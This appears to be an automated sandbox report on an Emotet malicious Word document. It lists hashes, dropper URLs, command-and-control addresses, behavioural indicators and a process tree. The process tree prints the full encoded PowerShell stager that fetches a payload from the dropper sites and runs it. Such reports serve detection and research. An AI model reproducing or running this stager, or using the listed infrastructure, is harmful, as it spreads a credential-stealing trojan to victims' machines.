emotet | 9d06766f2784c92850094fdd86cebc736e2c624fd71d8ff5de9552cee8ef1d40

Analysis

max time kernel
136s
max time network
132s
platform
windows10_x64
resource
win10v200722
submitted
25/09/2020, 10:40

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General

Target
emotet_e1_9d06766f2784c92850094fdd86cebc736e2c624fd71d8ff5de9552cee8ef1d40_2020-09-25__103545864202._doc.doc
Size 201KB
Sample200925-92sdblkbvs
SHA256 9d06766f2784c92850094fdd86cebc736e2c624fd71d8ff5de9552cee8ef1d40
MD5 72a9d2539ea5df811e26c518a255ae76
SHA1 19345afdb2741f72e68e5b2826b456e2529b5d06
SHA512 b41a4b236d3a20733ca127ad0e893672cf9ffa1a0a2d30173fd97aad8ae864f23bd048ee1c312e5e0e77a04893b09b2f59283e2f9a26b6a0ddb7330fb25d8a2d
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://bavhome.com/wp-content/td/
exe.dropper
http://hercinovic.com/cgi-bin/mZt/
exe.dropper
https://jeffdahlke.com/css/3u/
exe.dropper
http://calledtochange.org/CalledtoChange/V/
exe.dropper
http://daoisthealing.com/cgi-bin/c/
exe.dropper
https://scyzm.net/wp-content/j/
exe.dropper
http://www.bismarjeparamebel.com/u/pCp/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1580	3836	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2180-14-0x0000000000710000-0x0000000000720000-memory.dmp	emotet
behavioral2/memory/2180-14-0x0000000000710000-0x0000000000720000-memory.dmp	emotet
behavioral2/memory/2180-13-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/2180-13-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/992-17-0x00000000006C0000-0x00000000006D2000-memory.dmp	emotet
behavioral2/memory/992-17-0x00000000006C0000-0x00000000006D2000-memory.dmp	emotet
behavioral2/memory/992-18-0x00000000006E0000-0x00000000006F0000-memory.dmp	emotet
behavioral2/memory/992-18-0x00000000006E0000-0x00000000006F0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	1580	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2180	Yyxno3.exe
992	WorkFoldersRes.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Windows.UI\WorkFoldersRes.exe	Yyxno3.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
512	WINWORD.EXE
512	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1580	POwersheLL.exe
1580	POwersheLL.exe
1580	POwersheLL.exe
992	WorkFoldersRes.exe
992	WorkFoldersRes.exe
992	WorkFoldersRes.exe
992	WorkFoldersRes.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1580	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
512	WINWORD.EXE
2180	Yyxno3.exe
992	WorkFoldersRes.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1580 wrote to memory of 2180	1580	POwersheLL.exe	79
PID 1580 wrote to memory of 2180	1580	POwersheLL.exe	79
PID 1580 wrote to memory of 2180	1580	POwersheLL.exe	79
PID 2180 wrote to memory of 992	2180	Yyxno3.exe	80
PID 2180 wrote to memory of 992	2180	Yyxno3.exe	80
PID 2180 wrote to memory of 992	2180	Yyxno3.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_9d06766f2784c92850094fdd86cebc736e2c624fd71d8ff5de9552cee8ef1d40_2020-09-25__103545864202._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:512

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABCADYAdAAwAGcAZwBnAD0AKAAoACcAUABhACcAKwAnAHcAcABnACcAKwAnAHYAJwApACsAJwBhACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAdQBTAGUAcgBwAFIAbwBGAGkATABlAFwAeABfAHgANQBWAFoAcgBcAEYAOABCAFkAZQBhAE8AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBDAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAYABVAGAAUgBpAHQAeQBgAHAAcgBvAHQATwBjAG8AbAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAnACsAJwAsACcAKQArACgAJwAgACcAKwAnAHQAbAAnACkAKwAoACcAcwAxADEALAAgACcAKwAnAHQAJwApACsAJwBsAHMAJwApADsAJABIAHUAcgBwAGgAdwBpACAAPQAgACgAKAAnAFkAeQAnACsAJwB4ACcAKQArACcAbgBvACcAKwAnADMAJwApADsAJABMAGIAagB5ADAAZAAxAD0AKAAoACcARwBnAHgAJwArACcAbgAnACkAKwAoACcAbQBkACcAKwAnAGoAJwApACkAOwAkAEQAcwA2ADcANgBlAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0AWABfAHgAJwArACcANQB2AHoAcgB7ADAAfQBGACcAKwAnADgAYgB5AGUAYQBvAHsAMAB9ACcAKQAgACAALQBGAFsAYwBoAEEAUgBdADkAMgApACsAJABIAHUAcgBwAGgAdwBpACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAUwA1ADMAaQB1AGMAYwA9ACgAJwBQACcAKwAnADcANgAnACsAKAAnADEAJwArACcAcQBuAGIAJwApACkAOwAkAFYAeQBlAHkAcgBiAGMAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAGIAYwBsAEkAZQBOAFQAOwAkAFoAXwBoADcAXwB4AGEAPQAoACgAJwBoACcAKwAnAHQAdABwADoALwAvACcAKwAnAGIAJwArACcAYQB2AGgAJwApACsAKAAnAG8AJwArACcAbQBlAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnAHcAcAAnACsAJwAtAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAbgB0AC8AJwArACcAdAAnACkAKwAnAGQAJwArACcALwAqACcAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBoAGUAJwArACcAcgBjAGkAbgBvAHYAJwArACcAaQBjACcAKwAnAC4AJwArACcAYwAnACkAKwAnAG8AbQAnACsAKAAnAC8AYwBnACcAKwAnAGkALQBiACcAKwAnAGkAbgAvACcAKQArACcAbQAnACsAKAAnAFoAdAAnACsAJwAvACoAaAAnACsAJwB0AHQAJwArACcAcABzADoALwAnACkAKwAnAC8AagAnACsAKAAnAGUAJwArACcAZgBmACcAKQArACcAZAAnACsAKAAnAGEAJwArACcAaABsACcAKQArACgAJwBrAGUAJwArACcALgAnACkAKwAnAGMAbwAnACsAKAAnAG0ALwBjAHMAJwArACcAcwAnACkAKwAnAC8AMwAnACsAKAAnAHUALwAnACsAJwAqAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoALwAvACcAKQArACgAJwBjAGEAJwArACcAbAAnACkAKwAoACcAbAAnACsAJwBlAGQAJwApACsAKAAnAHQAbwAnACsAJwBjAGgAYQBuACcAKwAnAGcAZQAuAG8AJwApACsAJwByACcAKwAnAGcAJwArACgAJwAvAEMAYQAnACsAJwBsACcAKQArACcAbABlACcAKwAoACcAZAB0ACcAKwAnAG8AQwBoAGEAJwApACsAKAAnAG4AZwAnACsAJwBlAC8AJwApACsAJwBWAC8AJwArACcAKgAnACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwArACcAOgAvAC8AJwApACsAJwBkAGEAJwArACgAJwBvAGkAcwB0ACcAKwAnAGgAZQBhACcAKQArACgAJwBsACcAKwAnAGkAbgBnAC4AYwBvAG0ALwAnACkAKwAnAGMAZwAnACsAKAAnAGkALQBiAGkAbgAnACsAJwAvAGMALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAJwApACsAKAAnAHMAJwArACcAOgAvAC8AJwApACsAKAAnAHMAJwArACcAYwB5ACcAKQArACgAJwB6ACcAKwAnAG0ALgBuAGUAdAAnACsAJwAvACcAKQArACcAdwAnACsAJwBwACcAKwAnAC0AJwArACcAYwBvACcAKwAoACcAbgAnACsAJwB0AGUAJwArACcAbgB0AC8AagAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAOgAnACsAJwAvACcAKQArACgAJwAvAHcAJwArACcAdwAnACkAKwAoACcAdwAuACcAKwAnAGIAaQBzAG0AJwApACsAJwBhAHIAJwArACgAJwBqAGUAcABhAHIAYQAnACsAJwBtACcAKwAnAGUAJwArACcAYgBlAGwALgAnACsAJwBjAG8AbQAvAHUAJwApACsAKAAnAC8AJwArACcAcABDAHAAJwApACsAJwAvACcAKQAuACIAUwBgAHAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGcAZAA5ADgAdABpAD0AKAAoACcAVwAwACcAKwAnAG4AagAnACkAKwAoACcAdABoACcAKwAnAHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABVAGcAZgB1AG4AYQB3ACAAaQBuACAAJABaAF8AaAA3AF8AeABhACkAewB0AHIAeQB7ACQAVgB5AGUAeQByAGIAYwAuACIARABvAGAAVwBgAE4ATABPAEEAZABmAGkAYABMAEUAIgAoACQAVQBnAGYAdQBuAGEAdwAsACAAJABEAHMANgA3ADYAZQBvACkAOwAkAFIAbQA5AHUAdwB0AGUAPQAoACcAWgAnACsAJwA2ACcAKwAoACcAYwBjACcAKwAnAGkAYQB3ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAEQAcwA2ADcANgBlAG8AKQAuACIATABgAGUATgBnAHQASAAiACAALQBnAGUAIAAzADcAOQA5ADEAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAoACQARABzADYANwA2AGUAbwApADsAJABFAGQAZwBfAG0AbwBoAD0AKAAnAEEAJwArACcAbgAnACsAKAAnAHcAMQAnACsAJwA0ADcAbwAnACkAKQA7AGIAcgBlAGEAawA7ACQAVABiAGUAcAByADUAMgA9ACgAKAAnAFMAJwArACcAMABjACcAKQArACgAJwBxAGYAdAAnACsAJwA3ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAGUAbQBlAHMAZABuAD0AKAAoACcAVAAwAHcAZgAnACsAJwBzACcAKQArACcAeQBnACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1580
- C:\Users\Admin\X_x5vzr\F8byeao\Yyxno3.exe
  "C:\Users\Admin\X_x5vzr\F8byeao\Yyxno3.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\SysWOW64\Windows.UI\WorkFoldersRes.exe
    "C:\Windows\SysWOW64\Windows.UI\WorkFoldersRes.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:992

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/512-4-0x0000021C44324000-0x0000021C44328000-memory.dmp

Download

memory/512-1-0x0000021C46318000-0x0000021C46329000-memory.dmp

Download

memory/512-5-0x0000021C4659A000-0x0000021C4659C000-memory.dmp

Download

memory/512-6-0x0000021C4659A000-0x0000021C4659C000-memory.dmp

Download

memory/512-0-0x00007FFB91FD0000-0x00007FFB92696000-memory.dmp

Download

memory/512-3-0x0000021C46318000-0x0000021C46329000-memory.dmp

Download

memory/512-2-0x0000021C46318000-0x0000021C46329000-memory.dmp

Download

memory/992-18-0x00000000006E0000-0x00000000006F0000-memory.dmp

Download

memory/992-17-0x00000000006C0000-0x00000000006D2000-memory.dmp

Download

memory/1580-7-0x00007FFB899C0000-0x00007FFB8A3AC000-memory.dmp

Download

memory/1580-8-0x0000022419240000-0x0000022419241000-memory.dmp

Download

memory/1580-9-0x0000022431A70000-0x0000022431A71000-memory.dmp

Download

memory/2180-13-0x00000000005A0000-0x00000000005B2000-memory.dmp

Download

memory/2180-14-0x0000000000710000-0x0000000000720000-memory.dmp

Download